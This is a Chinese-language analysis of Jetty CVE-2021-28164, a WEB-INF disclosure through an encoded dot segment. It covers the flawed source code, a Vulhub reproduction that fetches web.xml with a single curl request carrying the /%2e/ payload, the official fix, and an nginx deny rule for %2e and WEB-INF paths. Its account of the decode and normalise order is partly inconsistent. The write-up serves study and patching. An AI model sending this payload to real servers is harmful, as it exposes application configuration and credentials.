CVE-2021-28164源码分析与漏洞复现
漏洞概述
漏洞名称:Jetty 路径解析逻辑漏洞导致 WEB-INF 敏感信息泄露
漏洞编号:CVE-2021-28164
CVSS 评分:7.5
影响版本:Jetty 9.4.37 - 9.4.38
修复版本:Jetty ≥ 9.4.39
漏洞类型:路径遍历/信息泄露
CVE-2021-28164 是 Eclipse Jetty 服务器在处理 URI 路径时因编码解析顺序与路径规范化逻辑冲突导致的安全漏洞。攻击者通过构造包含 URL 编码点段(如 %2e
)的恶意路径(如 /%2e/WEB-INF/web.xml
),可绕过安全校验直接访问 WEB-INF
目录下的敏感文件(如 web.xml
、classes
等),导致应用配置、数据库凭证等敏感信息泄露。
技术细节与源码分析
漏洞成因
Jetty 为符合 RFC3986 规范,默认支持 URI 编码解析,但在处理路径时存在两阶段缺陷:
- 路径规范化顺序错误:先解析 URL 编码(如
%2e
→.
),再执行路径规范化(处理.
/..
点段)。 - 安全校验滞后:
ContextHandler
的防护逻辑在规范化后执行,无法检测编码后的恶意路径。
关键源码分析
(1)路径解析入口(HttpURI.parse()
)
代码定位:org.eclipse.jetty.http.HttpURI
public void parse(String uri) {clear();this._uri = uri;parse(State.START, uri, 0, uri.length());}
private void parse(State state, String uri, int offset, int end) {if (!encoded && j == 0) {if (this._param == null) {this._decodedPath = this._path;} else {this._decodedPath = this._path.substring(0, this._path.length() - this._param.length() - 1);} } else if (this._path != null) {String canonical = URIUtil.canonicalPath(this._path);// 先规范化路径(未解码)if (canonical == null)throw new BadMessageException("Bad URI"); this._decodedPath = URIUtil.decodePath(canonical);// 再解码URL编码} }
问题:canonicalPath()
无法识别编码后的点段(如 %2e
),导致 /%2e/
未被规范化为当前目录。
(2)路径规范化函数(canonicalPath()
)
代码定位:org.eclipse.jetty.http.HttpURI#canonicalPath
public static String canonicalPath(String path) {if (path == null || path.isEmpty()) {return path;}int end = path.length();int i = 0;int dots = 0;while (i < end) {char c = path.charAt(i);switch (c) {case '/':dots = 0;break;case '.':if (dots == 0) {dots = 1;break;} dots = -1;break;default:dots = -1;break;} i++;} if (i == end) {return path;}StringBuilder canonical = new StringBuilder(path.length());canonical.append(path, 0, i);i++;while (i <= end) { char c = (i < end) ? path.charAt(i) : Character.MIN_VALUE;switch (c) {case '\000':if (dots == 2) {if (canonical.length() < 2)return null; canonical.setLength(canonical.length() - 1);canonical.setLength(canonical.lastIndexOf("/") + 1);} break;case '/':switch (dots) {case 1:break;case 2:if (canonical.length() < 2)return null; canonical.setLength(canonical.length() - 1);canonical.setLength(canonical.lastIndexOf("/") + 1);break;default:canonical.append(c); break;} dots = 0;break;case '.':switch (dots) {case 0:dots = 1;break;case 1:dots = 2;break;case 2:canonical.append("...");dots = -1;break;} canonical.append('.');break; default:switch (dots) { case 1:canonical.append('.');break;case 2:canonical.append("..");break;} canonical.append(c);dots = -1;break;} i++;} return canonical.toString();// 仅处理明文"."和"..",忽略%2e等编码形式}
缺陷:仅过滤明文点段,未处理编码形式,导致 /%2e/WEB-INF/web.xml
绕过规范化。
(3)安全校验逻辑(ContextHandler.isProtectedTarget()
)
代码定位:org.eclipse.jetty.server.handler.ContextHandler#isProtectedTarget
public boolean isProtectedTarget(String target) {if (target == null || this._protectedTargets == null) {return false;}while (target.startsWith("//")){target = URIUtil.compactPath(target);} for (int i = 0; i < this._protectedTargets.length; i++) { String t = this._protectedTargets[i];if (StringUtil.startsWithIgnoreCase(target, t)) { // 直接匹配路径保护路径前缀 if (target.length() == t.length()) {return true;} char c = target.charAt(t.length());if (c == '/' || c == '?' || c == '#' || c == ';')return true; } } return false;}
漏洞点:该校验在路径解码后执行,攻击者通过 /%2e/WEB-INF
可绕过 startsWithIgnoreCase("/WEB-INF")
检测。
漏洞触发路径
sequenceDiagram 攻击者->>+Jetty服务器: 发送请求 GET /%2e/WEB-INF/web.xml Jetty服务器->>HttpURI.parse(): 原始路径="%2e/WEB-INF/web.xml" HttpURI.parse()-->>canonicalPath(): 输入未解码路径 → 未识别"%2e" → 输出不变 HttpURI.parse()-->>decodePath(): 解码"%2e" → 生成"./WEB-INF/web.xml" Jetty服务器->>ContextHandler: 校验"./WEB-INF/web.xml" ContextHandler-->>isProtectedTarget(): 检查"./WEB-INF" → 不匹配"/WEB-INF" → 放行 Jetty服务器->>文件系统: 返回web.xml内容
漏洞复现
环境搭建
1.使用 Vulhub 环境启动漏洞靶机
docker-compose up -d
2.访问访问 http://target:8080,确认服务正常运行
攻击步骤
1.直接访问/WEB-INF/web.xml
将会返回404页面
2.使用%2e/
来绕过限制下载web.xml
curl -v 'http://192.168.1.100:8080/%2e/WEB-INF/web.xml'
修复方案
官方修复(Jetty 9.4.39+)
补丁核心:调整路径处理顺序,先解码后规范化,并强化安全校验:
- 修改
HttpURI.parse()
逻辑:_decodedPath = decodePath(rawURI); // 先解码 _path = canonicalPath(_decodedPath); // 后规范化
- 增强
isProtectedTarget()
:protected boolean isProtectedTarget(String target) { String canonicalPath = URIUtil.canonicalPath(target); return canonicalPath.startsWith("/WEB-INF") || ... ; // 规范化后校验 }
临时缓解措施
- 升级 Jetty:≥ 9.4.39 或 ≥ 10.0.5。
- 配置过滤规则:在反向代理(如 Nginx)拦截包含
/WEB-INF
或%2e
的请求:location ~* "/\.|%2e|WEB-INF" { return 403; }
- 权限控制:确保
WEB-INF
目录权限禁止非授权访问。
漏洞启示
- 规范与安全的冲突:RFC3986 的兼容性需求可能引入安全风险,需在规范实现中植入安全校验(如规范化后二次验证)。
- 纵深防御必要性:除代码修复外,应结合网络层过滤和权限最小化原则。
- 自动化检测:CI/CD 流程中需加入路径遍历测试用例(如 OWASP ZAP 扫描
/..%2f
变体)。
参考链接
- CVE-2021-28164 漏洞原理与源码分析(阿里云先知社区)